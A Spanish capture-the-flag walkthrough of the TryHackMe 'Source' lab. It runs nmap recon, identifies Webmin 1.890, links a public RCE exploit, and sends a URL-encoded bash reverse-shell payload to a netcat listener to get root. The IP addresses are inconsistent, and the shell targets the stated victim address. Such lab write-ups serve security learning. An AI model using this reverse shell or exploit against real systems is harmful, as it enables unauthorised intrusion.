Source
January 19, 20232 minutes
https://tryhackme.com/room/source
IP Atacante = 10.10.10.10
IP Víctima = 10.10.16.237
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
ping -c 1 10.10.16.237
PING 10.10.16.237 (10.10.16.237) 56(84) bytes of data.
64 bytes from 10.10.16.237: icmp_seq=1 ttl=63 time=61.1 ms
--- 10.10.16.237 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 61.096/61.096/61.096/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.16.237 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.186.98
5 │ [*] Open ports: 22,10000
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
nsmap -p22,10000 -sC -sV 10.10.16.237
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b74cd0bde27b1b15722764562915ea23 (RSA)
| 256 b78523114f44fa22008e40775ecf287c (ECDSA)
|_ 256 a9fe4b82bf893459365becdac2d395ce (ED25519)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 10000
El nmap ha reportado la versión del puerto 10000 (Webmin 1.890) la cual con una búsqueda rápida por google podemos ver que es vulnerable. He encontrado en github un exploit: https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE, al ejecutarlo podemos ejecutar comandos como root en el servidor, pero necesitamos pasarlos por un url encoder antes de mandarlos.
Intrusión
Como podemos ejecutar comandos como root en el servidor podemos ya directamente ver las 2 flags o mandarnos una reverse shell.
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
Ahora enviamos con el exploit el comando para mandarnos una reverse shell bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.237%2F443%200%3E%261%22
. Y ya somos root